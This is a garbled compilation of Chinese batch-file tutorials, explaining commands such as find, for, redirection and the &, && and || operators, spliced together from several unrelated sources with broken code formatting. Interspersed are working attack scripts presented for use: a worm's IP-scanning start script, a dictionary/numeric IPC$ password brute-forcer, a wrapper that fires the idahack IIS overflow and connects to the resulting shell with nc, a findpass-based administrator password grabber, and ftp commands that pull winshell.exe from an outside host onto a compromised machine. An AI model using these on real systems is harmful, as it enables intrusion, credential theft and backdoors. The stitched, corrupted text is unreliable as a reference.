@echo offnetstat -a -n > a.txttype a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"del a.txtpause & exit

先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。

至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。

10、for、set、shift

为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:

@echo offfor /? > for.txtset /? > set.txtshift /? >shift.txtexit    

执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。地球人都能看懂,我就不多说了。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看例十二:


START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find ":" >A.TMPFOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT:STARTCALL RANDOM.BATIF "%NUM1%"=="255" GOTO NEARAGAINIF "%NUM1%"=="192" GOTO NEARAGAINIF "%NUM1%"=="127" GOTO NEARAGAINIF "%NUM2%"=="255" GOTO NEARAGAINIF "%NUM3%"=="255" GOTO NEARAGAINIF "%NUM4%"=="255" GOTO NEARAGAINSET IPA=%NUM1%.%NUM2%ECHO START > A.LOGPING %IPA%.%NUM3%.1>B.TMPPING %IPA%.%NUM3%.%NUM4%>>B.TMPFIND /C /I "from" B.TMPIF ERRORLEVEL 1 GOTO STARTCALL 10.BAT %NUM3%DEL A.LOGGOTO START

这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。是不是看的头都大了?又忘了写在第一章第一段的那句话(静下心来!),你应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人,你得学会宽容,打不得骂不得,用你宽大的胸怀去包容她的一切,即使你发现爱她的过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗……等到风平浪静后,最直观的收获就是,你的耐心变的前所未有的充足,面对她的复杂和善变,你自己会处变不惊,以自己的方式去从容应付曾经应付不了的场面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

没错,这就是批处理的魅力,这就是爱的魅力。让你受了伤还感谢伤你的人。这种感觉就好象在自己最喜欢的音乐声中被人强奸,痛并快乐着。

不得不再次重申一遍,各种DOS命令是批处理的BODY(我实在找不出一个更合适的词来形容他们之间的关系),学好DOS命令是学好批处理的前提。其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。这篇教程的作用,是教你认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的,这已经超出了本文的范畴,在此就不赘述了。

不知不觉中第三章已经结束了。耳麦里传来的依然是陈晓东的《比我幸福》,每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东,可这并不妨碍我喜欢音乐,喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用抱歉来弥补/至少我能成全你的追逐/请记得你要比我幸福/才值得我对自己残酷/我默默的倒数/最后再把你看清楚/看你眼里的我好馍糊/慢慢被放逐。我如同一个因年老失色而拉不到客的老妓女,绝望的徘徊在曾经辉煌的红灯区,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们,才突然间发现上帝的公平,和这种公平的残忍。

可以说,批处理脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍,原因我已经说了,因为我也是个菜,我也不太懂----但我正在学!你呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》的东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了。大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点time out了,很多东西已经基本没有利用的价值(这就是信息时代的更新速度),但还是很值得看的。于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了,再续写这篇教程。我始终坚信,没有最好只有更好。

但是很可惜,等到下午再去的时候,图书馆楼梯口已经立了一个牌子,上面写着out of service----人家这学期的工作结束了。于是回到宿舍打算继续写第四章,正在这时又得到一个“振奋人心”的消息:期末考试有一科挂了,而且是全班第一----这一门整个班里就挂了我一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的了。食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了的失败男人。

“课间休息”时间好象长了点,呵呵,上课了!从这一章开始,将详细介绍批处理中常用的几个组合命令和管道命令。这些命令虽然不是必须的,如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了的。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>>

11、|

这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?看例十三:

help | more

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。

为什么会出现上述现象?答案很简单,这里结合了管道命令|和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解|命令的用法有很大帮助。

11.1、help命令。其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。

11.2、more命令。可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。

看到这里,你是否已经能隐约感受到了|命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以例十三和下面的例十四是等效的:


help > a.txtmore a.txtdel a.txt

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(例十三的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令|可以带来事半功倍的效果。

结合例十三和例十四,以及前面的例九再体会一遍:|命令的作用,就是让前一命令的输出当做后一命令的输入。

12、>、>>

这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:

echo @echo off > a.batecho echo This is a pipeline command example. >> a.batecho echo It is very easy? >> a.batecho echo Believe your self! >> a.batecho pause >> a.batecho exit >> a.bat

依次在DOS提示符下输入以上各行命令,一行一个回车,将在当前目录下生成一个a.bat文件,里面的内容如下:

@echo offecho This is a pipeline command example.echo It is very easy?echo Believe your self!pauseexit

看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。

13、<、>&、<&

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。

>&,将一个句柄的输出写入到另一个句柄的输入中。

<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。

下面介绍组合命令:&、&&、||

组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。

刚刚又送走了一个同学,人去楼空的感觉越来越明显,望着空荡荡的床铺,平日里喧闹的宿舍就只剩下我一个人了,整个世界只有那个平时令人非常讨厌的老鼠这时候才显得可爱起来----只有它会陪着我在这不敢开灯的漆黑夜里----一个连期末考试都应付不了的失败男人。失败!我感到快要呼吸不过来,这种失败的压力简直令我窒息,简直让我的手接收不到大脑的信号,简直让这篇未完成的教程夭折。但我能怪谁?

忙碌了一学期要过年了却挂了科,失败;挂了科也倒罢了,竟然一个人拖全班的后退,失败中的失败;更失败的,是在这最失落的时候,竟然找不到一个人可以倾诉;然而最失败的,是突然发现自己竟然如此脆弱,如此耐不住寂寞。不过这倒也解开了心中疑惑很久的一个问题:为什么明知道那段情是一个旋涡却还心甘情愿的往里面跳----这就是青春,风一样的年龄,火一样不安的心。不再爱了,我不要再一个人的时候苦苦等待;不再爱了,我不要在你给的囚笼里怜悯的爱;不再爱了,我不要在别人的视线里如此可笑;不再爱,我不再爱。就算塌下来,我也要一个人扛着,头不能低腰不能弯,不能喘息不能倾诉,因为虽然失败,但还是男人,是男人就不能向困难低头!

14、&

这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:


copy a.txt b.txt /y & del a.txt

其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。

15、&&

切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七:

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:ackupwww

如果远程主机存在user.mdb,则copy到本地e:ackupwww,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的:

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:ackupwww

至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。

你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八:


dir c: && dir d: > a.txt

仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:和dir d: > a.txt,而并不是如你想的这两部分:dir c: && dir d:和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写:


dir c: > a.txt && dir d: >> a.txt

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c: > a.txt和dir d: >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。

当然这里还可以利用&命令(自己想一下道理哦):


dir c: > a.txt & dir d: >> a.txt

16、||

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九:


@echo offdir s.exe || exit

其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十:


@echo offdir s.exe || echo Didn't exist file s.exe & pause & exit

这样执行的结果,就能达到题目的要求,是否存在s.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二:

例二十一:


@echo offdir a.ttt /a & dir a.txt || exit

例二十二:


@echo offdir a.ttt /a && dir a.txt || exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告!

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解?呵呵,能理解就成天才了,除非你以前就已经掌握!千万别小看了这几个鬼命令,大棒槌是我的说,简直就不是人学的东西!但我还是静下心来研究了一番,最后得出的结论如上所述,已经一点不剩的交给你了,希望你好好收藏并消化吸收,当然有错误被你发现了,或者不完整的地方被你看出来了,请赶紧告诉我一声!

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了!

将下列代码存为bat文件

1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名

2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名

密码破解出来之后,存放于c:pass.txt文件里面。

将下列代码存为pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:pass.txt

echo ------------------------------------------------------------------- >>c:pass.txt

date /t >>c:pass.txt

time /t >>c:pass.txt

echo 破解结果: >>c:pass.txt

if "%6"=="1" goto 大棒槌是我的说2

:大棒槌是我的说1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的说2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

将下列代码存为test.bat

net use \%1ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2

:answer0

echo 远程主机:"%1" >>c:pass.txt

echo 用 户:"%3" >>c:pass.txt

echo 密 码:%2 >>c:pass.txt

net use \%1ipc$ /delet

exit

:answer2


For

对一组文件中的每个文件运行指定的命令。

可以在批处理程序中或直接从命令提示符使用 for 命令。

要在批处理程序中使用 for 命令,请使用以下语法:

for %%variable in (set) docommand [command-parameters]

要在命令提示符下使用 for,请使用以下语法:

for %variable in (set) do command [command-parameters]

参数

%%variable 或 %variable

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。

(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。

command

指定要在指定的 set 所包含的每个文件上执行的命令。

command-parameters

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。

如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。

For 命令的其他形式

如果启用了命令扩展,将支持如下 for 命令的其他格式:

只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]

如果 set 包含通配符( 和 ?),则指定与目录名匹配,而不是文件名。

递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代

for /L [%% | %]variable in (start,step,end) do command [command-parameters]

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。

BAT文件技巧

文章结构

1. 所有内置命令的帮助信息

2. 环境变量的概念

3. 内置的特殊符号(实际使用中间注意避开)

4. 简单批处理文件概念

5. 附件1 tmp.txt

6. 附件2 sample.bat

######################################################################

1. 所有内置命令的帮助信息

######################################################################

ver

cmd /?

set /?

rem /?

if /?

echo /?

goto /?

for /?

shift /?

call /?

其他需要的常用命令

type /?

find /?

findstr /?

copy /?

下面将所有上面的帮助输出到一个文件

echo ver >tmp.txt

ver >>tmp.txt

echo cmd /? >>tmp.txt

cmd /? >>tmp.txt

echo rem /? >>tmp.txt

rem /? >>tmp.txt

echo if /? >>tmp.txt

if /? >>tmp.txt

echo goto /? >>tmp.txt

goto /? >>tmp.txt

echo for /? >>tmp.txt

for /? >>tmp.txt

echo shift /? >>tmp.txt

shift /? >>tmp.txt

echo call /? >>tmp.txt

call /? >>tmp.txt

echo type /? >>tmp.txt

type /? >>tmp.txt

echo find /? >>tmp.txt

find /? >>tmp.txt

echo findstr /? >>tmp.txt

findstr /? >>tmp.txt

echo copy /? >>tmp.txt

copy /? >>tmp.txt

type tmp.txt

######################################################################

2. 环境变量的概念

######################################################################

_

C:Program Files>set

ALLUSERSPROFILE=C:Documents and SettingsAll Users

CommonProgramFiles=C:Program FilesCommon Files

COMPUTERNAME=FIRST

ComSpec=C:WINNTsystem32cmd.exe

NUMBER_OF_PROCESSORS=1

OS=Windows_NT

Os2LibPath=C:WINNTsystem32os2dll;

Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH

PROCESSOR_ARCHITECTURE=x86

PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel

PROCESSORLEVEL=6

PROCESSORREVISION=0605

ProgramFiles=C:Program Files

PROMPT=$P$G

SystemDrive=C:

SystemRoot=C:WINNT

TEMP=C:WINNTTEMP

TMP=C:WINNTTEMP

USERPROFILE=C:Documents and SettingsDefault User

windir=C:WINNT

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到

%windir%system32. 这个目录里面. 一般就可以自动搜索到.

语法: copy mychenxu.exe %windir%system32.

使用点(.) 便于一目了然

对环境变量的引用使用(英文模式,半角)双引号

%windir% 变量

%%windir%% 二次变量引用.

我们常用的还有

%temp% 临时文件目录

%windir% 系统目录

%errorlevel% 退出代码

输出文件到临时文件目录里面.这样便于当前目录整洁.

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作

C:>dir p

C: 的目录

2000-09-02 11:47 2,164 PDOS.DEF

1999-01-03 00:47

Program Files

1 个文件 2,164 字节

1 个目录 1,505,997,824 可用字节

C:>cd pro

C:Program Files>

C:>

C:>cd "Program Files"

C:Program Files>

######################################################################

3. 内置的特殊符号(实际使用中间注意避开)

######################################################################

微软里面内置了下列字符不能够在创建的文件名中间使用

con nul aux / | || && ^ > <

You can use most characters as variable values, including white space. If you use the special characters <, >, |, &, or ^, you must precede them with the escape character (^) or quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples:

(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了)

To create the variable value new&name, type:

set varname=new^&name

To create the variable value "new&name", type:

set varname="new&name"

The ampersand (&), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) or quotation marks when you pass them as arguments.

find "Pacific Rim" < trade.txt > nwtrade.txt

IF EXIST filename. (del filename.) ELSE echo filename. missing

> 创建一个文件

>> 追加到一个文件后面

@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示

^ 对特殊符号( > < &)的前导字符. 第一个只是显示aaa 第二个输出文件bbb

echo 123456 ^> aaa

echo 1231231 > bbb

() 包含命令

(echo aa & echo bb)

, 和空格一样的缺省分隔符号.

; 注释,表示后面为注释

: 标号作用

| 管道操作

& Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

dir c:.exe & dir d:.exe & dir e:.exe

&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

常用语法格式

IF [NOT] ERRORLEVEL number command para1 para2

IF [NOT] string1==string2 command para1 para2

IF [NOT] EXIST filename command para1 para2

IF EXIST filename command para1 para2

IF NOT EXIST filename command para1 para2

IF "%1"=="" goto END

IF "%1"=="net" goto NET

IF NOT "%2"=="net" goto OTHER

IF ERRORLEVEL 1 command para1 para2

IF NOT ERRORLEVEL 1 command para1 para2

FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i

FOR /F "eol=; tokens=2,3 delims=, " %i in (myfile.txt) do echo %i %j %k

按照字母顺序 ijklmnopq依次取参数.

eol=c - 指一个行注释字符的结尾(就一个)

skip=n - 指在文件开始时忽略的行数。

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

######################################################################

4. 简单批处理文件概念

######################################################################

echo This is test > a.txt

type a.txt

echo This is test 11111 >> a.txt

type a.txt

echo This is test 22222 > a.txt

type a.txt

第二个echo是追加

第三个echo将清空a.txt 重新创建 a.txt

netstat -n | find "3389"

这个将要列出所有连接3389的用户的ip.

test.bat__

@echo please care

echo plese care 1111

echo plese care 2222

echo plese care 3333

@echo please care

@echo plese care 1111

@echo plese care 2222

@echo plese care 3333

rem 不显示注释语句,本行显示

@rem 不显示注释语句,本行不显示

@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe)

@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe)

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的.

ida.bat_

@rem ver 1.0

@if NOT exist %windir%system32idahack.exe echo "ERROR: dont find idahack.exe"

@if NOT exist %windir%system32nc.exe echo "ERROR: dont find nc.exe"

@if "%1" =="" goto USAGE

@if NOT "%2" =="" goto SP2

:start

@echo Now start ...

@ping %1

@echo chinese win2k:1 sp1:2 sp2:3

idahack.exe %1 80 1 99 >%temp%_tmp

@echo "prog exit code [%errorlevel%] idahack.exe"

@type %temp%_tmp

@find "good luck :)" %temp%_tmp

@echo "prog exit code [%errorlevel%] find [goog luck]"

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:SP2

@idahack.exe %1 80 %2 99 %temp%_tmp

@type %temp%_tmp

@find "good luck :)" %temp%tmp

@if NOT errorlevel 1 nc.exe %1 99

@goto END

:USAGE

@echo Example: ida.bat IP

@echo Example: ida.bat IP (2,3)

:END

ida.batEND

下面我们再来第二个文件.就是得到administrator的口令.

大多数人说得不到.其实是自己的没有输入正确的信息.

fpass.bat

@rem ver 1.0

@if NOT exist %windir%system32findpass.exe echo "ERROR: dont find findpass.exe"

@if NOT exist %windir%system32pulist.exe echo "ERROR: dont find pulist.exe"

@echo start....

@echo

@if "%1"=="" goto USAGE

@findpass.exe %1 %2 %3 >> %temp%_findpass.txt

@echo "prog exit code [%errorlevel%] findpass.exe"

@type %temp%_findpass.txt

@echo Herepass★★★★★★★★

@ipconfig /all >>%temp%_findpass.txt

@goto END

:USAGE

@pulist.exe >%temp%_pass.txt

@findstr.exe /i "WINLOGON explorer internat" %temp%pass.txt

@echo "Example: fpass.bat %1 %2 %3 %4 !!!"

@echo "Usage: findpass.exe DomainName UserName PID-of-WinLogon"

:END

@echo " fpass.bat %COMPUTERNAME% %USERNAME% administrator "

@echo " fpass.bat end [%errorlevel%] !"

fpass.batEND__

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win)

依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!!

echo open 210.64.x.4 3396>w

echo read>>w

echo read>>w

echo cd winnt>>w

echo binary>>w

echo pwd >>w

echo get wget.exe >>w

echo get winshell.exe >>w

echo get any.exe >>w

echo quit >>w

ftp -s:w

批处理,说白了就是DOS操作。有人认为DOS操作过时了、落后了,其实不然。DOS操作最大的好处就在于快、不留痕。在许多时候,Windows操作是根本解决不了问题的,必须借助DOS操作。

  必备常识:批处理的编写和修改

  打开记事本,将要编写的内容写在里面。在存为bat文件即可。修改也可以用记事本打开进行修改。

  批处理运用一:扫描本地端口

  这个功能优化大师有,就是扫描哪个端口与internet连接和连接ip。这,为及时发现并拦截非法连接有着不可取代的功劳。

  然而,启动优化大师太慢了,而且太烦了,不利于随机使用。因此,编写一个这样的批处理来解决问题就显得尤为重要了。

  代码:

  netstat -n

  pause

  附:也可在每一行开头添上“@”,这样命令就不会显示出来。

  批处理运用二:查常见病毒

  其实,对于上网的人来说,遇到病毒是在所难免的。然而,如果真的不幸感染,怎样才能发现呢?难道真的要买昂贵的杀毒软件吗?不一定。

  我们可以编写批处理来查一些常见的网络病毒。如果确认感染病毒,可以下载专用杀毒工具进行查杀,或采取其他途径杀毒。

  下面,我以欢乐时光为例进行分析:

  主文件:1.bat

  其它文件:2.bat 3.bat

  1.bat代码:

  @if exist c:folder.htt call 2.bat

  @if exist d:folder.htt call 2.bat

  @if exist e:folder.htt call 2.bat

  @if exist f:folder.htt call 2.bat

  2.bat代码:

  @echo 发现欢乐时光病毒!

  @call 3.bat

  @pause

  3.bat代码:

  @c:

  @dir .htt .ini /s/a>1.txt

  @d:

  @dir .htt .ini /s/a>1.txt

  @e:

  @dir .htt .ini /s/a>1.txt

  这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。

  批处理运用三:文件处理

  假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此

CMD中CODE PAGE的概念及其设置值:


Chcp

Displays the number of the active console code page, or changes the console's active console code page. Used without parameters, chcp displays the number of the active console code page.

Syntax

chcp [nnn]

Parameters

nnn : Specifies the code page. The following table lists each code page supported and its country/region or language: 

Code page        Country/region or language

437        United States

850        Multilingual (Latin I)

852        Slavic (Latin II)

855        Cyrillic (Russian)

857        Turkish

860        Portuguese

861        Icelandic

863        Canadian-French

865        Nordic

866        Russian

869        Modern Greek

什么是code page, 怎么修改windows cmd中的codepage



如果你的cmd无法正常显示中文, 或者其他字符, 通过chcp 来修改, 参数是nnn代表3个数字. 简体中文的codepage是: 936 西文是:1252



Code page 的历史:




1. Codepage的定义和历史

